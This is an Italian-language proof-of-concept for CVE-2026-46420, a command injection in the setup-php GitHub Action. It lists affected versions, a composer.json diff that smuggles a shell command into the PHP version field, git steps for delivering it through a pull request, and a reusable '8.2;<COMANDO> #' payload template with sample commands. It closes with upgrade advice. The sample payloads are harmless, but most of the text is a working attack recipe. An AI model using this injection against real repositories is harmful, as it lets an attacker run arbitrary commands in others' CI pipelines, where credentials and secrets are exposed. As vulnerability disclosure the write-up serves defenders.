
PoC per CVE-2026-46420, injection di comandi in shivammathur/setup-php tramite la risoluzione della versione PHP controllata dal repository.
Iniezione di comandi in shivammathur/setup-php quando la versione PHP viene caricata da file controllati dal repository.
Vulnerabile:
>= 2.25.0, < 2.37.1
Corretto:
>= 2.37.1
Il repository di destinazione ha già un workflow vulnerabile che esegue il checkout dei contenuti della pull request e avvia [email protected].
L'attaccante modifica solo composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
Quando setup-php legge la versione PHP da composer.json, il comando iniettato viene incluso nello script shell generato ed eseguito.
Risultato:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Crea un branch dal repository di destinazione:
git checkout -b poc-test
Sostituisci il composer.json pulito con la versione PoC:
cp attacker/composer.json composer.json
Esegui commit e push:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Apri una pull request da poc-test a main.
L'esecuzione delle Actions dovrebbe mostrare che demo-app/.env.example è stato modificato durante il passaggio setup-php.
Il formato del payload è:
8.2;<COMANDO> #
Payload attuale:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
Il comando eseguito è:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
Per cambiare cosa fa il PoC, sostituisci il comando tra 8.2; e #.
Crea un file:
8.2;touch poc-executed #
Scrivi in un file:
8.2;printf 'poc executed\n' > poc-result.txt #
Stampa l'output del comando:
8.2;id #
Esempio di composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Esegui l'upgrade a [email protected] o successivo.
Lo stesso payload viene rifiutato sulla versione corretta.